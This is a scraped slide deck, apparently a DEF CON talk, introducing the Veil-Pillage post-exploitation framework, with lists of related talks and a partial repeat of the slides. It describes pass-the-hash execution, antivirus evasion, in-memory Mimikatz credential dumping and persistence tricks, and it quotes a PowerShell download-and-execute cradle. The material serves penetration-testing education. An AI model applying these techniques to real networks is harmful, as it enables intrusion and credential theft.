Defcon - Veil-Pillage

Veil-Pillage:
Post-Exploitation 2.0
Will
@harmj0y
Veris Group – AdaptiveThreat Division
$ whoami
▪ Security researcher and pentester/red teamer
forVeris Group’sAdaptiveThreat Division
▪ Co-founder of theVeil-Framework #avlol
– www.veil-framework.com
– Shmoocon ‘14: AV Evasion with theVeil
Framework
– co-wroteVeil-Evasion, wroteVeil-Catapult,Veil-
PowerView, and PowerUp
▪ Active Cortana, Powershell, and NovaHacker!
tl;dr
▪ TheVeil-Framework
▪ Post Exploitation; redux
▪ Veil-Pillage
▪ Current Module Overview
▪ Hashdumping and Plaintext Creds
▪ Demos
▪ KB 2871997 (Microsoft PTH fix?)
▪ Module Releases and Development
▪ Recap
The Veil-Framework
HowWe Got Here
Background
▪ Started with the May 2013 release of
‘Veil’, later renamed to ‘Veil-Evasion’
▪ Utilizes various languages and
techniques to generateAV-evading
payloads
– shellcode injection and ’pure’ Meterpreter
stagers
▪ Debuted at Shmoocon ‘14: “AV-Evasion
with theVeil-Framework”
– https://www.veil-framework.com/
How We Got Here
▪ After dealing with AV-evasion, focus
moved to payload delivery
▪ Wanted a way to trigger backdoors on
target boxes in a stealthy way
▪ Released at Shmoocon ‘14,Veil-
Catapult can upload/host and execute
binaries, as well as few other common
tricks
The Attack Cycle
Recon
Enumeration
Exploitation
Post-
Exploitation
Post-Exploitation; Redux
Gain Access Through Exploit
Gain Situational Awareness
Escalate Privileges
Identify Further Exploit
Points
Acquire Domain/Network
Administrative Privileges
Establish Persistence
Data-mine for Sensitive
Information
Identify points that affect
business impact
Post-Exploitation; English
▪ If you have access and/or credentials for
one or more machines on a network,
what can you do?
▪ Example: say you have a local
administrator hash for remote hosts,
and want to grab plaintexts of other
logged on users on those hosts?
Post-Exploitation; Today
▪ Option #1: PSEXEC to a box with
Metasploit, then getsystem/wdigest
▪ Advantages:
– Flexible, can utilize the entire Metasploit
framework
▪ Drawbacks:
– service running as SYSTEM created
– lots of non-standard traffic
– “known” malicious binary dropped to disk
Post-Exploitation; Today
▪ Option #2: use Smbexec to
upload/execute a wce.exe binary
▪ Advantages:
– Don’t need to establish a full Meterpreter
session
– Doesn’t rely on MSF binary templates
▪ Drawbacks:
– SYSTEM service still created
– And another “known” malicious binary is
uploaded/executed
Post-Exploitation; Today
▪ Option #3: use the passing-the-hash
toolkit and PowerSploit
▪ Advantages:
– No service created!!
– No binaries dropped to disk!!
▪ Drawbacks:
– Usage isn’t the simplest
– What if you want to do this on a lot of hosts?
– What if Powershell is disabled, or not
installed?
What We Want
▪ Trigger Options: with a preference for
stealth
▪ Modularity: want it to be easy to
implement new post-exploitation
techniques
– And want to be able to easily integrate our
code/techniques into other tools
▪ Completeness: automation,
comprehensive logging, cleanup, etc.
Veil-Pillage
Catapult 2.0
Veil-Pillage Primitives
▪ pth-wmis : no service created
▪ pth-winexe : runs as system, binary dropped
▪ Impacket-smbexec : service created, but no
binaries dropped
▪ Impacket: smb servers and clients and more
▪ Everything abstracted out to common library
methods
Veil-Pillage
Primitives: • pth-wmis
• pth-winexe
• Impacket-smbexec
• Impacket
Veil-Catapult Integration
Veil-Catapult Integration
▪ All ofVeil-Catapult’s functionality has
been modularly integrated intoVeil-
Pillage:
– payload_delivery/exe_delivery
– payload_delivery/powershell_injector
– payload_delivery/python_injector
– persistence/registry/sticky_keys
▪ Veil-Catapult will now be obsoleted :(
▪ Blog post on transitioning up soon
exe_delivery
▪ Catapult functionality ported to Pillage
▪ Executables can be specified, or
generated with seemlessVeil-Evasion
integration
▪ .EXEs are then uploaded/triggered, or
hosted/triggered with a UNC path
– This gets some otherwise disk-detectable
.EXEs right by someAVs
python_injector
▪ Uploads a minimal Python .zip
installation and 7zip binary
▪ Python environment unzipped,
shellcode invoked using “-c …”
▪ The only files that touch disk are trusted
Python libraries and a Python interpreter
Veil-Pillage
Primitives:
Veil-
Catapult:
• pth-wmis
• pth-winexe
• Impacket-smbexec
• Impacket
• exe_delivery
• python_injector
• powershell_injector
Veil-Pillage
New Modules
enumeration/*
▪ host/credential_validation
– checks what creds work on what systems
▪ domain/user_hunter
– finds whereWindows domain users are
logged in on the network
▪ host/enum_host
– performs several standard enumeration
actions
management/*
▪ check_uac/disable_uac/enable_uac
– full user account control management
▪ enable_rdp/disable_rdp
– enables RDP and the necessary firewall rules
▪ force_[logoff/reboot/shutdown]
– needed to trigger some particular post-
exploitation effects
persistence/*
▪ bitsadmin
– adds a nice background job to
download/execute an .exe backdoor
▪ registry/sticky_keys*
– Sets the stickykeys cmd.exe trick, or uploads
an executable to trigger
▪ registry/unc_dll
– appends ATTACKER_IP; to %PATH%,
allowing you to monitor for .dll hijacking
opportunities
powersploit/*
▪ Several PowerSploit modules are
included in Pillage
▪ A web server is stood up in the
background
– the ‘IEX (New-Object
Net.WebClient).DownloadString(...)’ cradle
is transparently triggered
▪ Makes it easy to run PowerSploit across
multiple machines
Veil-Pillage
Primitives: • pth-wmis
• pth-winexe
• Impacket-smbexec
• Impacket
Veil-
Catapult:
• exe_delivery
• python_injector
• powershell_injector
Modules:
• PowerSploit integration
• enumeration/*
• persistence/*
• management/*
• PowerShell detection
• hashdump/Mimikatz
in memory
• Host/execute binaries
Veil-Pillage
New Features
powershell_stager
▪ Last month, theVeil team released
custom-written, ‘pure’ powershell
meterpreter stagers :
– reverse_tcp/reverse_http/reverse_https
▪ These don’t utilize any shellcode, and
work great with the passing-the-hash
toolkit
Output/Cleanup
▪ Logs logs logs
▪ Also, we want to leave boxes how we
found them
– Clients are so picky :)
▪ Why not do all of this in a nice and
systematic way
Random features
▪ State preservation
– On exit/rage quit, all options preserved
▪ MSF database interaction
– pull in existing hosts and credential sets
▪ Tab-completion, error-checking,
complete command line options, etc.
External Integration
▪ Veil-Pillage contains complete
command line flags for whatever you
can think of
▪ Makes it easy to script-up and integrate
Veil-Pillage into your own code
▪ see ./Veil-Pillage.py -h
Defcon - Veil-Pillage
Veil-Pillage
Primitives: • pth-wmis
• pth-winexe
• Impacket-smbexec
• Impacket
Veil-
Catapult:
• exe_delivery
• python_injector
• powershell_injector
Features: Modules:
• Powershell Stagers
• Logging/cleanup
• MSF DB Integration
• Modular structure
• External integration
• PowerSploit integration
• enumeration/*
• persistence/*
• management/*
• PowerShell detection
• hashdump/Mimikatz
in memory
• Host/execute binaries
Hashes and
Plaintexts
Getting the Goods
Hashdumping
▪ There are a diverse number of ways to
dump hashes on a system
▪ Traditional:
– gsecdump, credump, etc.
– Registry backups w/ reg.exe
– Meterpreter (hashdump/wdigest)
▪ New Hotness:
– Powerdump.ps1
– WCE/Mimikatz binaries
– PowerSploit/Exfiltration/Invoke-Mimikatz.ps1
Hashdumping
▪ Different approaches work in different
situations
▪ Dependent on architecture, Powershell
installation, AV-installation, etc.
▪ Some involve dropping well-known,
close-sourced tools to disk
– sometimes this is needed, but we want to
stay off disk as much as possible
In-Memory Mimikatz
+
= <3
In-Memory Mimikatz
▪ PowerSploit/Exfiltration/Invoke-
Mimikatz.ps1
▪ Utilizes Joe "clymb3r" Bialek’s prior
work with Invoke-ReflectivePEInjection
to inject an architecture-appropriate
Mimikatz .dll
▪ Harnesses the power of Mimikatz
without touching disk!
Pillage Style
▪ Let’s aggregate some of the best
techniques and build some logic in:
if (Powershell working) {
Powerdump/PowerSploit }
else {
determine_arch {
host/execute appropriate binaries }
}
▪ Expose these techniques to the user for
situation-dependent decisions
Demos
KB 2871997
OMG US PENTESTERS ARE OUT OF A JOB!!
KB 2871997
▪ The “pass-the-hash” killing patch, aka
the “Mimikatz KB” :)
▪ Microsoft backport ofWindows 8.1
protections that prevents “...network
logon and remote interactive logon to
domain-joined machine using local
accounts”
▪ Sounds ominous...
PTH-killer? lol :)
KB 2871997 tl;dr
▪ The rid-500 Administrator account (if it’s
enabled) and domain accounts in the
Administrators localgroup can still PTH
– This account is often still enabled in many
enterprise environments
▪ Powershell Remoting still works fine
▪ Windows XP/2003 obviously unaffected
▪ Raises the bar, but PTH isn’t going away
anytime soon
Local Admin Enumeration
▪ With a local/unprivileged domain account,
you can use PowerShell (or Nmap) to:
– find what the local rid-500 is renamed to and
whether it’s enabled
– enumerate what domain accounts have local
admin privileges on a machine
▪ Powershell functions have been integrated
intoVeil-Powerview
▪ More information: http://harmj0y.net
Module Releases
▪ Just likeVeil-Evasion, lots of module
ideas
– more if people want to contribute :)
▪ Planned releases on the 1st of the month
▪ Check https://www.veil-framework.com
for updates
Module Development
▪ Implement whatever post-exploitation
fun you can think of
▪ Triggering methods, file downloads, etc.
are all available as library methods
▪ Template included in the tree and blog
post up soon on developing your own
modules
Recap
▪ A flexible framework for post-
exploitation of target machines
▪ Three separate ways of triggering
▪ New modules are easy to implement
with the common library
▪ Automation, full logging capabilities,
cleanup scripts, big UI focus, active
development
Shameless Sidebar
▪ Want to research cool stuff like this?
▪ Want to work with 9 x OSCPs and 4 x
OSCEs?
▪ Want to do some sweet red teaming?
▪ Hit me up to join the AdaptiveThreat
Division
Questions?
▪ Contact me:
– @harmj0y
– harmj0y@veil-framework.com
– harmj0y in #veil on Freenode
▪ Read more:
– https://www.veil-framework.com
▪ Get theVeil-Framework:
– https://github.com/Veil-Framework/
1 of 51

Recommended

BH Arsenal '14 TurboTalk: The Veil-framework by
BH Arsenal '14 TurboTalk: The Veil-frameworkBH Arsenal '14 TurboTalk: The Veil-framework
BH Arsenal '14 TurboTalk: The Veil-frameworkVeilFramework
1.6K views24 slides
Pwnstaller by
PwnstallerPwnstaller
PwnstallerWill Schroeder
2K views32 slides
Adventures in Asymmetric Warfare by
Adventures in Asymmetric WarfareAdventures in Asymmetric Warfare
Adventures in Asymmetric WarfareWill Schroeder
2.8K views47 slides
Catch Me If You Can: PowerShell Red vs Blue by
Catch Me If You Can: PowerShell Red vs BlueCatch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs BlueWill Schroeder
7.8K views39 slides
PowerShell for Penetration Testers by
PowerShell for Penetration TestersPowerShell for Penetration Testers
PowerShell for Penetration TestersNikhil Mittal
36.2K views119 slides
Continuous intrusion: Why CI tools are an attacker’s best friends by
Continuous intrusion: Why CI tools are an attacker’s best friendsContinuous intrusion: Why CI tools are an attacker’s best friends
Continuous intrusion: Why CI tools are an attacker’s best friendsNikhil Mittal
1.8K views65 slides

More Related Content

What's hot

Windows attacks - AT is the new black by
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new blackChris Gates
10.9K views76 slides
Pwning with powershell by
Pwning with powershellPwning with powershell
Pwning with powershelljaredhaight
2.1K views30 slides
Workshop: PowerShell for Penetration Testers by
Workshop: PowerShell for Penetration TestersWorkshop: PowerShell for Penetration Testers
Workshop: PowerShell for Penetration TestersNikhil Mittal
1.2K views53 slides
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013 by
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013midnite_runr
8.7K views72 slides
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class by
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassRob Fuller
28.8K views94 slides
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi... by
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...Hackito Ergo Sum
471 views62 slides

What's hot(20)

Windows attacks - AT is the new black by Chris Gates
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new black
Chris Gates10.9K views
Pwning with powershell by jaredhaight
Pwning with powershellPwning with powershell
Pwning with powershell
jaredhaight2.1K views
Workshop: PowerShell for Penetration Testers by Nikhil Mittal
Workshop: PowerShell for Penetration TestersWorkshop: PowerShell for Penetration Testers
Workshop: PowerShell for Penetration Testers
Nikhil Mittal1.2K views
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013 by midnite_runr
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
midnite_runr8.7K views
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class by Rob Fuller
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
Rob Fuller28.8K views
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi... by Hackito Ergo Sum
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
Hackito Ergo Sum471 views
Attacking Oracle with the Metasploit Framework by Chris Gates
Attacking Oracle with the Metasploit FrameworkAttacking Oracle with the Metasploit Framework
Attacking Oracle with the Metasploit Framework
Chris Gates89.3K views
PSConfEU - Building an Empire with PowerShell by Will Schroeder
PSConfEU - Building an Empire with PowerShellPSConfEU - Building an Empire with PowerShell
PSConfEU - Building an Empire with PowerShell
Will Schroeder3.3K views
Common technique in Bypassing Stuff in Python. by Shahriman .
Common technique in Bypassing Stuff in Python.Common technique in Bypassing Stuff in Python.
Common technique in Bypassing Stuff in Python.
Shahriman .19.6K views
Introducing PS>Attack: An offensive PowerShell toolkit by jaredhaight
Introducing PS>Attack: An offensive PowerShell toolkitIntroducing PS>Attack: An offensive PowerShell toolkit
Introducing PS>Attack: An offensive PowerShell toolkit
jaredhaight2.6K views
Incorporating PowerShell into your Arsenal with PS>Attack by jaredhaight
Incorporating PowerShell into your Arsenal with PS>AttackIncorporating PowerShell into your Arsenal with PS>Attack
Incorporating PowerShell into your Arsenal with PS>Attack
jaredhaight848 views
20+ ways to bypass your mac os privacy mechanisms by Csaba Fitzl
20+ ways to bypass your mac os privacy mechanisms20+ ways to bypass your mac os privacy mechanisms
20+ ways to bypass your mac os privacy mechanisms
Csaba Fitzl2.4K views
Mitigating Exploits Using Apple's Endpoint Security by Csaba Fitzl
Mitigating Exploits Using Apple's Endpoint SecurityMitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint Security
Csaba Fitzl437 views
Teensy Programming for Everyone by Nikhil Mittal
Teensy Programming for EveryoneTeensy Programming for Everyone
Teensy Programming for Everyone
Nikhil Mittal3.8K views
Harness: PowerShell Weaponization Made Easy (or at least easier) by RGKelley5
Harness: PowerShell Weaponization Made Easy (or at least easier)Harness: PowerShell Weaponization Made Easy (or at least easier)
Harness: PowerShell Weaponization Made Easy (or at least easier)
RGKelley51K views
DevOops & How I hacked you DevopsDays DC June 2015 by Chris Gates
DevOops & How I hacked you DevopsDays DC June 2015DevOops & How I hacked you DevopsDays DC June 2015
DevOops & How I hacked you DevopsDays DC June 2015
Chris Gates3.2K views
TriplePlay-WebAppPenTestingTools by Yury Chemerkin
TriplePlay-WebAppPenTestingToolsTriplePlay-WebAppPenTestingTools
TriplePlay-WebAppPenTestingTools
Yury Chemerkin807 views

Viewers also liked

I Have the Power(View) by
I Have the Power(View)I Have the Power(View)
I Have the Power(View)Will Schroeder
20.8K views70 slides
Derbycon - Passing the Torch by
Derbycon - Passing the TorchDerbycon - Passing the Torch
Derbycon - Passing the TorchWill Schroeder
7.9K views56 slides
Veil-PowerView - NovaHackers by
Veil-PowerView - NovaHackersVeil-PowerView - NovaHackers
Veil-PowerView - NovaHackersVeilFramework
3.4K views16 slides
Drilling deeper with Veil's PowerTools by
Drilling deeper with Veil's PowerToolsDrilling deeper with Veil's PowerTools
Drilling deeper with Veil's PowerToolsWill Schroeder
6.3K views51 slides
The Travelling Pentester: Diaries of the Shortest Path to Compromise by
The Travelling Pentester: Diaries of the Shortest Path to CompromiseThe Travelling Pentester: Diaries of the Shortest Path to Compromise
The Travelling Pentester: Diaries of the Shortest Path to CompromiseWill Schroeder
9.1K views45 slides
I hunt sys admins 2.0 by
I hunt sys admins 2.0I hunt sys admins 2.0
I hunt sys admins 2.0Will Schroeder
12.4K views51 slides

Viewers also liked(6)

I Have the Power(View) by Will Schroeder
I Have the Power(View)I Have the Power(View)
I Have the Power(View)
Will Schroeder20.8K views
Derbycon - Passing the Torch by Will Schroeder
Derbycon - Passing the TorchDerbycon - Passing the Torch
Derbycon - Passing the Torch
Will Schroeder7.9K views
Veil-PowerView - NovaHackers by VeilFramework
Veil-PowerView - NovaHackersVeil-PowerView - NovaHackers
Veil-PowerView - NovaHackers
VeilFramework3.4K views
Drilling deeper with Veil's PowerTools by Will Schroeder
Drilling deeper with Veil's PowerToolsDrilling deeper with Veil's PowerTools
Drilling deeper with Veil's PowerTools
Will Schroeder6.3K views
The Travelling Pentester: Diaries of the Shortest Path to Compromise by Will Schroeder
The Travelling Pentester: Diaries of the Shortest Path to CompromiseThe Travelling Pentester: Diaries of the Shortest Path to Compromise
The Travelling Pentester: Diaries of the Shortest Path to Compromise
Will Schroeder9.1K views

Similar to Defcon - Veil-Pillage

Automating Post Exploitation with PowerShell by
Automating Post Exploitation with PowerShellAutomating Post Exploitation with PowerShell
Automating Post Exploitation with PowerShellEnclaveSecurity
5.7K views34 slides
OpenStack Summit 2013 Hong Kong - OpenStack and Windows by
OpenStack Summit 2013 Hong Kong - OpenStack and WindowsOpenStack Summit 2013 Hong Kong - OpenStack and Windows
OpenStack Summit 2013 Hong Kong - OpenStack and WindowsAlessandro Pilotti
2K views62 slides
Hyper-V: Best Practices by
Hyper-V: Best PracticesHyper-V: Best Practices
Hyper-V: Best PracticesTomica Kaniski
12.9K views39 slides
Cloud Device Insecurity by
Cloud Device InsecurityCloud Device Insecurity
Cloud Device InsecurityJeremy Brown
1.2K views116 slides
Заполучили права администратора домена? Игра еще не окончена by
Заполучили права администратора домена? Игра еще не оконченаЗаполучили права администратора домена? Игра еще не окончена
Заполучили права администратора домена? Игра еще не оконченаPositive Hack Days
475 views47 slides
Road to Opscon (Pisa '15) - DevOoops by
Road to Opscon (Pisa '15) - DevOoopsRoad to Opscon (Pisa '15) - DevOoops
Road to Opscon (Pisa '15) - DevOoopsGianluca Varisco
1.8K views60 slides

Similar to Defcon - Veil-Pillage(20)

Automating Post Exploitation with PowerShell by EnclaveSecurity
Automating Post Exploitation with PowerShellAutomating Post Exploitation with PowerShell
Automating Post Exploitation with PowerShell
EnclaveSecurity5.7K views
OpenStack Summit 2013 Hong Kong - OpenStack and Windows by Alessandro Pilotti
OpenStack Summit 2013 Hong Kong - OpenStack and WindowsOpenStack Summit 2013 Hong Kong - OpenStack and Windows
OpenStack Summit 2013 Hong Kong - OpenStack and Windows
Hyper-V: Best Practices by Tomica Kaniski
Hyper-V: Best PracticesHyper-V: Best Practices
Hyper-V: Best Practices
Tomica Kaniski12.9K views
Cloud Device Insecurity by Jeremy Brown
Cloud Device InsecurityCloud Device Insecurity
Cloud Device Insecurity
Jeremy Brown1.2K views
Заполучили права администратора домена? Игра еще не окончена by Positive Hack Days
Заполучили права администратора домена? Игра еще не оконченаЗаполучили права администратора домена? Игра еще не окончена
Заполучили права администратора домена? Игра еще не окончена
Positive Hack Days475 views
Road to Opscon (Pisa '15) - DevOoops by Gianluca Varisco
Road to Opscon (Pisa '15) - DevOoopsRoad to Opscon (Pisa '15) - DevOoops
Road to Opscon (Pisa '15) - DevOoops
Gianluca Varisco1.8K views
Defcon 25 Packet Hacking Village - Finding Your Way to Domain Access by eightbit
Defcon 25 Packet Hacking Village - Finding Your Way to Domain AccessDefcon 25 Packet Hacking Village - Finding Your Way to Domain Access
Defcon 25 Packet Hacking Village - Finding Your Way to Domain Access
eightbit279 views
Auto Deploy Deep Dive – vBrownBag Style by Robert Nelson
Auto Deploy Deep Dive – vBrownBag StyleAuto Deploy Deep Dive – vBrownBag Style
Auto Deploy Deep Dive – vBrownBag Style
Robert Nelson10.1K views
Using Puppet in Small Infrastructures by Rachel Andrew
Using Puppet in Small InfrastructuresUsing Puppet in Small Infrastructures
Using Puppet in Small Infrastructures
Rachel Andrew2K views
Gianluca Varisco - DevOoops (Increase awareness around DevOps infra security) by Codemotion
Gianluca Varisco - DevOoops (Increase awareness around DevOps infra security)Gianluca Varisco - DevOoops (Increase awareness around DevOps infra security)
Gianluca Varisco - DevOoops (Increase awareness around DevOps infra security)
Codemotion571 views
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like... by Felipe Prado
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
Felipe Prado106 views
Power on, Powershell by Roo7break
Power on, PowershellPower on, Powershell
Power on, Powershell
Roo7break3.9K views
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core by NoSuchCon
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NoSuchCon844 views
Owning computers without shell access dark by Royce Davis
Owning computers without shell access darkOwning computers without shell access dark
Owning computers without shell access dark
Royce Davis3.5K views
Making MySQL Administration a Breeze - A look into a MySQL DBA's toolchest by Lenz Grimmer
Making MySQL Administration a Breeze - A look into a MySQL DBA's toolchest Making MySQL Administration a Breeze - A look into a MySQL DBA's toolchest
Making MySQL Administration a Breeze - A look into a MySQL DBA's toolchest
Lenz Grimmer639 views
PowerShell - Be A Cool Blue Kid by Matthew Johnson
PowerShell - Be A Cool Blue KidPowerShell - Be A Cool Blue Kid
PowerShell - Be A Cool Blue Kid
Matthew Johnson1.7K views
Ansible: How to Get More Sleep and Require Less Coffee by Sarah Z
Ansible: How to Get More Sleep and Require Less CoffeeAnsible: How to Get More Sleep and Require Less Coffee
Ansible: How to Get More Sleep and Require Less Coffee
Sarah Z25.5K views
Pentest Apocalypse - SANSFIRE 2016 Edition by Beau Bullock
Pentest Apocalypse - SANSFIRE 2016 EditionPentest Apocalypse - SANSFIRE 2016 Edition
Pentest Apocalypse - SANSFIRE 2016 Edition
Beau Bullock978 views
Attack on the Core by Peter Hlavaty
Attack on the CoreAttack on the Core
Attack on the Core
Peter Hlavaty12.4K views

Recently uploaded

LLMs in Production: Tooling, Process, and Team Structure by
LLMs in Production: Tooling, Process, and Team StructureLLMs in Production: Tooling, Process, and Team Structure
LLMs in Production: Tooling, Process, and Team StructureAggregage
65 views77 slides
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And... by
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...ShapeBlue
120 views12 slides
The Role of Patterns in the Era of Large Language Models by
The Role of Patterns in the Era of Large Language ModelsThe Role of Patterns in the Era of Large Language Models
The Role of Patterns in the Era of Large Language ModelsYunyao Li
104 views65 slides
Cencora Executive Symposium by
Cencora Executive SymposiumCencora Executive Symposium
Cencora Executive Symposiummarketingcommunicati21
174 views14 slides
"Running students' code in isolation. The hard way", Yurii Holiuk by
"Running students' code in isolation. The hard way", Yurii Holiuk "Running students' code in isolation. The hard way", Yurii Holiuk
"Running students' code in isolation. The hard way", Yurii Holiuk Fwdays
38 views34 slides
Cocktail of Environments. How to Mix Test and Development Environments and St... by
Cocktail of Environments. How to Mix Test and Development Environments and St...Cocktail of Environments. How to Mix Test and Development Environments and St...
Cocktail of Environments. How to Mix Test and Development Environments and St...Aleksandr Tarasov
26 views135 slides

Recently uploaded(20)

LLMs in Production: Tooling, Process, and Team Structure by Aggregage
LLMs in Production: Tooling, Process, and Team StructureLLMs in Production: Tooling, Process, and Team Structure
LLMs in Production: Tooling, Process, and Team Structure
Aggregage65 views
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And... by ShapeBlue
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
ShapeBlue120 views
The Role of Patterns in the Era of Large Language Models by Yunyao Li
The Role of Patterns in the Era of Large Language ModelsThe Role of Patterns in the Era of Large Language Models
The Role of Patterns in the Era of Large Language Models
Yunyao Li104 views
"Running students' code in isolation. The hard way", Yurii Holiuk by Fwdays
"Running students' code in isolation. The hard way", Yurii Holiuk "Running students' code in isolation. The hard way", Yurii Holiuk
"Running students' code in isolation. The hard way", Yurii Holiuk
Fwdays38 views
Cocktail of Environments. How to Mix Test and Development Environments and St... by Aleksandr Tarasov
Cocktail of Environments. How to Mix Test and Development Environments and St...Cocktail of Environments. How to Mix Test and Development Environments and St...
Cocktail of Environments. How to Mix Test and Development Environments and St...
"Package management in monorepos", Zoltan Kochan by Fwdays
"Package management in monorepos", Zoltan Kochan"Package management in monorepos", Zoltan Kochan
"Package management in monorepos", Zoltan Kochan
Fwdays37 views
GDSC GLAU Info Session.pptx by gauriverrma4
GDSC GLAU Info Session.pptxGDSC GLAU Info Session.pptx
GDSC GLAU Info Session.pptx
gauriverrma415 views
Webinar : Desperately Seeking Transformation - Part 2: Insights from leading... by The Digital Insurer
Webinar : Desperately Seeking Transformation - Part 2:  Insights from leading...Webinar : Desperately Seeking Transformation - Part 2:  Insights from leading...
Webinar : Desperately Seeking Transformation - Part 2: Insights from leading...
The Power of Generative AI in Accelerating No Code Adoption.pdf by Saeed Al Dhaheri
The Power of Generative AI in Accelerating No Code Adoption.pdfThe Power of Generative AI in Accelerating No Code Adoption.pdf
The Power of Generative AI in Accelerating No Code Adoption.pdf
Saeed Al Dhaheri44 views
Optimizing Communication to Optimize Human Behavior - LCBM by Yaman Kumar
Optimizing Communication to Optimize Human Behavior - LCBMOptimizing Communication to Optimize Human Behavior - LCBM
Optimizing Communication to Optimize Human Behavior - LCBM
Yaman Kumar39 views
PCCC23:日本AMD株式会社 テーマ2「AMD EPYC™ プロセッサーを用いたAIソリューション」 by PC Cluster Consortium
PCCC23:日本AMD株式会社 テーマ2「AMD EPYC™ プロセッサーを用いたAIソリューション」PCCC23:日本AMD株式会社 テーマ2「AMD EPYC™ プロセッサーを用いたAIソリューション」
PCCC23:日本AMD株式会社 テーマ2「AMD EPYC™ プロセッサーを用いたAIソリューション」
Discover Aura Workshop (12.5.23).pdf by Neo4j
Discover Aura Workshop (12.5.23).pdfDiscover Aura Workshop (12.5.23).pdf
Discover Aura Workshop (12.5.23).pdf
Neo4j20 views
The Coming AI Tsunami.pptx by johnhandby
The Coming AI Tsunami.pptxThe Coming AI Tsunami.pptx
The Coming AI Tsunami.pptx
johnhandby14 views
"Node.js Development in 2024: trends and tools", Nikita Galkin by Fwdays
"Node.js Development in 2024: trends and tools", Nikita Galkin "Node.js Development in 2024: trends and tools", Nikita Galkin
"Node.js Development in 2024: trends and tools", Nikita Galkin
Fwdays37 views

Defcon - Veil-Pillage

  • 2. $ whoami ▪ Security researcher and pentester/red teamer forVeris Group’sAdaptiveThreat Division ▪ Co-founder of theVeil-Framework #avlol – www.veil-framework.com – Shmoocon ‘14: AV Evasion with theVeil Framework – co-wroteVeil-Evasion, wroteVeil-Catapult,Veil- PowerView, and PowerUp ▪ Active Cortana, Powershell, and NovaHacker!
  • 3. tl;dr ▪ TheVeil-Framework ▪ Post Exploitation; redux ▪ Veil-Pillage ▪ Current Module Overview ▪ Hashdumping and Plaintext Creds ▪ Demos ▪ KB 2871997 (Microsoft PTH fix?) ▪ Module Releases and Development ▪ Recap
  • 5. Background ▪ Started with the May 2013 release of ‘Veil’, later renamed to ‘Veil-Evasion’ ▪ Utilizes various languages and techniques to generateAV-evading payloads – shellcode injection and ’pure’ Meterpreter stagers ▪ Debuted at Shmoocon ‘14: “AV-Evasion with theVeil-Framework” – https://www.veil-framework.com/
  • 6. How We Got Here ▪ After dealing with AV-evasion, focus moved to payload delivery ▪ Wanted a way to trigger backdoors on target boxes in a stealthy way ▪ Released at Shmoocon ‘14,Veil- Catapult can upload/host and execute binaries, as well as few other common tricks
  • 8. Post-Exploitation; Redux Gain Access Through Exploit Gain Situational Awareness Escalate Privileges Identify Further Exploit Points Acquire Domain/Network Administrative Privileges Establish Persistence Data-mine for Sensitive Information Identify points that affect business impact
  • 9. Post-Exploitation; English ▪ If you have access and/or credentials for one or more machines on a network, what can you do? ▪ Example: say you have a local administrator hash for remote hosts, and want to grab plaintexts of other logged on users on those hosts?
  • 10. Post-Exploitation; Today ▪ Option #1: PSEXEC to a box with Metasploit, then getsystem/wdigest ▪ Advantages: – Flexible, can utilize the entire Metasploit framework ▪ Drawbacks: – service running as SYSTEM created – lots of non-standard traffic – “known” malicious binary dropped to disk
  • 11. Post-Exploitation; Today ▪ Option #2: use Smbexec to upload/execute a wce.exe binary ▪ Advantages: – Don’t need to establish a full Meterpreter session – Doesn’t rely on MSF binary templates ▪ Drawbacks: – SYSTEM service still created – And another “known” malicious binary is uploaded/executed
  • 12. Post-Exploitation; Today ▪ Option #3: use the passing-the-hash toolkit and PowerSploit ▪ Advantages: – No service created!! – No binaries dropped to disk!! ▪ Drawbacks: – Usage isn’t the simplest – What if you want to do this on a lot of hosts? – What if Powershell is disabled, or not installed?
  • 13. What We Want ▪ Trigger Options: with a preference for stealth ▪ Modularity: want it to be easy to implement new post-exploitation techniques – And want to be able to easily integrate our code/techniques into other tools ▪ Completeness: automation, comprehensive logging, cleanup, etc.
